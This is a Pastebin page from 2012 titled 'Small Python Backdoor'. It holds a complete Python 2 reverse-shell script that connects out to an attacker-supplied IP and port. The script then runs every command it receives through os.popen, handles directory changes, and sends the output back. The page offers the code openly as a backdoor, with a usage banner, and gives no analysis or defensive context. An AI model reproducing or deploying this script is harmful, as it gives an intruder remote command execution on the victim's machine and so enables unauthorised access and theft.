lehieuit

Small Python Backdoor

Apr 21st, 2012
201
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.99 KB | None | 0 0
  1. import os,socket,sys
  2. def usage():
  3.     print '''
  4.    ###################
  5.    #Reflex.py IP PORT#
  6.    ###################
  7.    [+]Example:
  8.    ------------------------------
  9.    |Hamoud-Oz.py 192.168.1.3 2121|
  10.    ------------------------------''',exit()
  11. if len(sys.argv) < 3:usage()
  12. s=socket.socket()
  13. s.connect((sys.argv[1],int(sys.argv[2])))
  14. s.send('''
  15.             ###########################
  16.             #         Reflex          #
  17.             #    [email protected]   #
  18.             ###########################\n>>>''')
  19. while 1:
  20.     data = s.recv(512)
  21.     if "q" == data.lower():
  22.         s.close()
  23.         break;
  24.     else:
  25.         if data.startswith('cd'):
  26.             os.chdir(data[3:].replace('\n',''))
  27.             s.send("Moved to "+str(os.getcwd()))
  28.             result='\n'
  29.         else:
  30.             result=os.popen(data).read()
  31.     if (data.lower() != "q"):
  32.             s.send(str(result)+">>")
  33.     else:
  34.         s.send(str(result))
  35.         s.close()
  36.         break;
  37. exit()
Advertisement
Add Comment
Please, Sign In to add comment